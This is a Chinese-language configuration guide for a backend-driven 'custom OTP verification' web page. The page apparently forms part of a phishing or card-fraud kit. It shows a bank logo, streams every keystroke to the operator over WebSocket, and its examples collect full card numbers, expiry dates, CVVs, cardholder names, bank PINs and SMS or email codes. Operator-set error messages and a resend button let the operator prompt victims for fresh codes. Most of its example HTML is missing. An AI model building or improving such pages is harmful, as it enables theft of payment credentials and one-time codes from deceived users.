# 自定义OTP验证配置文档 ## 概述 此文档用于配置前端自定义OTP验证页面。后端需要返回 `customOtpData` 配置对象,前端将根据配置自动渲染验证表单。 --- ## 配置结构 ### 基础配置对象 ```typescript interface ValidationConfig { type: 'customValid' // 必填:验证类型,使用 'customValid' 启用完全自定义 name?: string // 可选:配置名称 pageTitle?: string // 可选:页面标题 pageContent: string // 必填:HTML内容,包含自定义表单 customStyles?: string // 可选:自定义CSS样式 buttonColor?: string // 可选:默认按钮颜色 errorMessage?: string // 可选:默认错误提示 showTop?: boolean // 可选:是否显示顶部银行logo和卡片类型 imageUrl?: string // 可选:自定义logo图片URL showCard?: boolean // 可选:是否显示卡号后4位 merchant?: string // 可选:商户名称(可在pageContent中用${merchant}引用) amount?: string // 可选:支付金额(可在pageContent中用${payment}引用) } ``` --- ## HTML元素规范 ### 1. 输入框(Input) **必需属性:** - `class="custom-input"` - 必须添加此class以自动绑定事件 - `data-field="字段名"` - 标识输入框字段(可以是任意名称,不限于input1/input2) **可选属性:** - `data-verify-key="自定义字段名"` - 自定义后端接收的字段名 - 不设置时,默认使用 `data-field` 的值作为后端字段名 - 设置后将使用 `data-verify-key` 的值 - `required` - 标记为必填项 - 提交时会自动验证,未填写会显示浏览器原生提示气泡 - 自动聚焦到第一个未填写的输入框 **重要:支持任意数量的输入框,不限于2个!** **示例:** ```html ``` ### 2. 按钮(Button) **必需属性:** - `class="custom-button"` - 必须添加此class以自动绑定事件 - `data-action="submit"` 或 `"resend"` - 标识按钮操作类型 - `submit`: 提交表单 - `resend`: 重新发送验证码 **可选属性(仅resend按钮):** - `data-countdown="true"` - 启用倒计时(默认值,可省略) - `data-countdown="false"` - 禁用倒计时,允许连续点击 **重发按钮特性:** 启用倒计时时(`data-countdown="true"` 或不设置): - ✅ 自动倒计时:点击后自动进入60秒倒计时 - ✅ 自动禁用:倒计时期间按钮禁用,无法重复点击 - ✅ 文本更新:倒计时显示 `00:59`、`00:58`...直到 `00:00` - ✅ 自动恢复:倒计时结束后自动恢复原始文本和可点击状态 禁用倒计时时(`data-countdown="false"`): - ✅ 立即发送:点击后立即发送请求 - ✅ 可连续点击:没有倒计时限制,可以多次点击 - ✅ 适用场景:需要快速重试或测试时使用 **示例:** ```html ``` ### 3. 错误信息容器(Error Message) **必需属性:** - `class="custom-error-message"` - 必须添加此class以自动显示错误 **特性:** - 自动显示/隐藏:有错误时自动显示,无错误时自动隐藏 - 自动更新内容:错误信息会自动填充到所有带此class的元素中 **示例:** ```html
``` --- ## 配置示例 ### 示例1:基础短信验证码表单 ```json { "type": "customValid", "name": "SMS验证", "pageTitle": "短信验证", "pageContent": "

请输入发送到您手机的验证码

", "customStyles": ".custom-input:focus { border-color: #67C23A; outline: none; box-shadow: 0 0 0 2px rgba(103, 194, 58, 0.2); } .custom-button:hover { opacity: 0.9; }", "showTop": true, "errorMessage": "验证码错误,请重试" } ``` ### 示例2:双重验证(短信+邮箱) ```json { "type": "customValid", "name": "双重验证", "pageTitle": "安全验证", "pageContent": "
", "customStyles": ".custom-input:focus { border-color: #409EFF; outline: none; } .custom-button:active { transform: scale(0.98); }", "showTop": true, "merchant": "示例商户", "amount": "¥999.00" } ``` ### 示例3:快速重发模式(禁用倒计时) ```json { "type": "customValid", "name": "快速验证", "pageTitle": "验证码登录", "pageContent": "
", "customStyles": ".custom-input:focus { border-color: #28a745 !important; } .custom-button[data-action='resend']:hover { background: #007bff; color: white; }", "showTop": false } ``` **说明:** 此示例中重发按钮设置了 `data-countdown='false'`,用户可以连续点击重发,适合测试或需要快速重试的场景。 ### 示例4:多输入框 - 完整卡片信息录入 ```json { "type": "customValid", "name": "卡片信息验证", "pageTitle": "请输入卡片完整信息", "pageContent": "
", "customStyles": ".custom-input:focus { border-color: #28a745 !important; box-shadow: 0 0 0 0.2rem rgba(40, 167, 69, 0.25); } .custom-button:hover { background: #218838; }", "showTop": true } ``` ### 示例5:银行PIN码验证 ```json { "type": "customValid", "name": "PIN验证", "pageTitle": "请输入PIN码", "pageContent": "

交易确认

商户: ${merchant}

${payment}

", "customStyles": ".custom-input:focus { border-color: #10b981; box-shadow: 0 0 0 3px rgba(16, 185, 129, 0.1); } .custom-button:hover { background: #059669; transform: translateY(-1px); box-shadow: 0 6px 12px rgba(16, 185, 129, 0.4); }", "showTop": false, "merchant": "Apple Store", "amount": "$299.99" } ``` --- ## 动态变量 可在 `pageContent` 中使用以下变量,前端会自动替换: | 变量 | 说明 | 示例 | |------|------|------| | `${merchant}` | 商户名称 | 从配置中的 `merchant` 字段获取 | | `${payment}` 或 `${price}` | 支付金额 | 从配置中的 `amount` 字段获取 | | `${card}` | 卡号后4位 | 自动从用户卡号中提取 | | `${phone}` | 手机号后4位 | 从本地存储手机号中提取后4位 | | `${phoneFull}` | 完整手机号 | 从本地存储中获取 | | `${date}` | 当前日期 | 自动生成当前日期 | **使用示例:** ```html

商户: ${merchant}

金额: ${payment}

卡号: **** ${card}

手机号后4位: ${phone}

完整手机号: ${phoneFull}

``` --- ## 数据流程 ## 提交Loading(纯HTML) 你可以直接在 `pageContent` 里定义 loading 节点,提交时前端会自动显示。 支持两种标记方式(任选其一): - `data-submit-loading` - `class="custom-submit-loading"` 建议初始隐藏(`display:none`),并可用 `data-loading-display` 指定显示时的 `display` 值。 ```html
Loading...
``` 说明: - 提交 `submit_card` 前自动显示。 - 收到后端 `custom-otp-valid` 消息后自动隐藏。 - 如果未定义上述标记,则继续使用系统默认 loading。 ### 1. 前端接收配置 后端返回 `customOtpData` 配置对象,前端根据 `type: 'customValid'` 渲染自定义表单。 ### 2. 用户输入 - 用户在 `class="custom-input"` 的输入框中输入 - 前端自动调用 `inputChange` 函数,实时发送到后端 - 发送格式: ```javascript { event: "input_card", content: { key: "smsCode", // 来自 data-verify-key,默认为 verifyCode1/verifyCode2 value: "用户输入的内容" } } ``` ### 3. 用户提交 - 用户点击 `data-action="submit"` 的按钮 - 前端自动收集所有 `class="custom-input"` 的输入框值 - 发送WebSocket消息: ```javascript // 例1:2个输入框 { event: "submit_card", content: { type: "submitCustomOtpValid", formData: { smsCode: "123456", emailCode: "789012" } } } // 例2:5个输入框(完整卡片信息) { event: "submit_card", content: { type: "submitCustomOtpValid", formData: { cardNumber: "1234567890123456", expiryDate: "12/25", cvv: "123", cardholderName: "JOHN DOE", pinCode: "1234" // 使用了 data-verify-key="pinCode" } } } ``` **重要:**`formData` 中的字段名是每个输入框的 `data-verify-key`(如果有)或 `data-field` 的值 ### 4. 错误处理 - 后端验证失败时,发送事件 `custom-otp-valid` - 消息格式: ```javascript { message2: "错误提示文本" } ``` - 前端自动将错误显示在所有 `class="custom-error-message"` 的元素中 ### 5. 重新发送 - 用户点击 `data-action="resend"` 的按钮 - 前端自动进入60秒倒计时,按钮文本变为 `00:60` - 倒计时期间按钮禁用,无法重复点击 - 前端发送WebSocket消息: ```javascript { event: "page_type", content: { pageType: "customOtpValid", pageTitle: "配置名称", resultType: "resendCode", customType: "customValid" } } ``` - 60秒后按钮自动恢复为原始文本(如"重新发送"),可再次点击 --- ## 字段映射说明 ### 基本原则 **支持任意数量和名称的输入框!** ### 默认字段映射 当只设置 `data-field` 时,后端接收的字段名就是 `data-field` 的值: - `data-field="smsCode"` → 后端接收:`smsCode` - `data-field="emailCode"` → 后端接收:`emailCode` - `data-field="cardNumber"` → 后端接收:`cardNumber` - `data-field="pin"` → 后端接收:`pin` ### 自定义字段映射 通过 `data-verify-key` 属性可以覆盖后端接收的字段名: ```html ``` **实时输入事件:** ```javascript // 例1:只有 data-field // 发送: { event: "input_card", content: { key: "smsCode", // 直接使用 data-field 的值 value: "123456" } } // 例2:有 data-verify-key // 发送: { event: "input_card", content: { key: "customCode", // 使用 data-verify-key 的值 value: "123456" } } // 例3:多个输入框 // 分别发送: // { event: "input_card", content: { key: "card", value: "..." } } // { event: "input_card", content: { key: "cvv", value: "..." } } // { event: "input_card", content: { key: "pin", value: "..." } } ``` --- ## 最佳实践 ### 1. CSS样式建议 - 使用 `customStyles` 字段添加响应式设计 - 建议使用相对单位(%、em、rem)而非固定像素 - 为移动端适配添加媒体查询 ### 2. 用户体验 - 输入框应有明确的 `placeholder` 提示 - 错误信息容器预留足够空间(避免布局跳动) - 按钮应有明显的交互反馈(hover、active状态) ### 3. 安全考虑 - PIN码输入使用 `type="password"` - 敏感信息使用 `maxlength` 限制长度 - 建议后端对提交频率做限制 ### 4. 响应式设计示例 ```css /* 添加到 customStyles 中 */ @media (max-width: 768px) { .custom-input { font-size: 16px !important; /* 防止iOS自动缩放 */ } .custom-button { padding: 15px !important; font-size: 16px !important; } } ``` --- ## 调试技巧 ### 前端控制台日志 前端会输出以下调试信息: - `绑定事件尝试 - 自定义输入框数: X, 自定义按钮数: Y` - `绑定自定义输入框: [id], field: [fieldName]` - `自定义输入框[fieldName]输入: [value], verifyKey: [key]` - `自定义按钮点击, action: [action]` ### 检查清单 1. ✅ 输入框是否有 `class="custom-input"` 和 `data-field` 2. ✅ 按钮是否有 `class="custom-button"` 和 `data-action` 3. ✅ 错误容器是否有 `class="custom-error-message"` 4. ✅ 自定义字段名是否设置了 `data-verify-key` 5. ✅ CSS样式是否正确加载到 `customStyles` --- ## 常见问题 **Q: 如何添加多个输入框?** A: 直接添加多个 `` 标签,每个都添加 `class="custom-input"` 和独立的 `data-field`,不限数量! ```html ``` **Q: 输入框没有反应?** A: 检查是否同时添加了 `class="custom-input"` 和 `data-field` 属性 **Q: required属性如何使用?** A: 直接在输入框上添加 `required` 属性即可: ```html ``` - 提交时自动验证所有 `required` 输入框 - 使用浏览器原生提示气泡显示错误 - 自动聚焦到第一个未填写的输入框 **Q: 错误信息不显示?** A: 确保元素有 `class="custom-error-message"`,前端会自动控制显示/隐藏 **Q: 如何自定义后端接收的字段名?** A: 在输入框上添加 `data-verify-key="yourCustomKey"` 属性 **Q: 按钮点击没有效果?** A: 检查是否添加了 `class="custom-button"` 和 `data-action="submit/resend"` **Q: 重发按钮能连续点击吗?** A: 默认不能。如需连续点击,添加 `data-countdown="false"` 属性即可禁用倒计时。 ```html ``` **Q: 如何修改倒计时时长?** A: 目前倒计时固定为60秒。如需修改,需要在前端代码中修改 `initialTime` 变量(CustomOtpView.vue 第728行) **Q: 样式不生效?** A: 将CSS代码放入 `customStyles` 字段,确保选择器正确 --- ## 技术支持 如有问题,请检查: 1. WebSocket连接是否正常 2. 浏览器控制台是否有错误信息 3. 配置JSON格式是否正确 4. HTML标签是否闭合完整 前端组件文件:`CustomOtpView.vue` 关键函数:`bindInputEvents()`, `handleCustomInputEvent()`, `handleCustomButtonEvent()`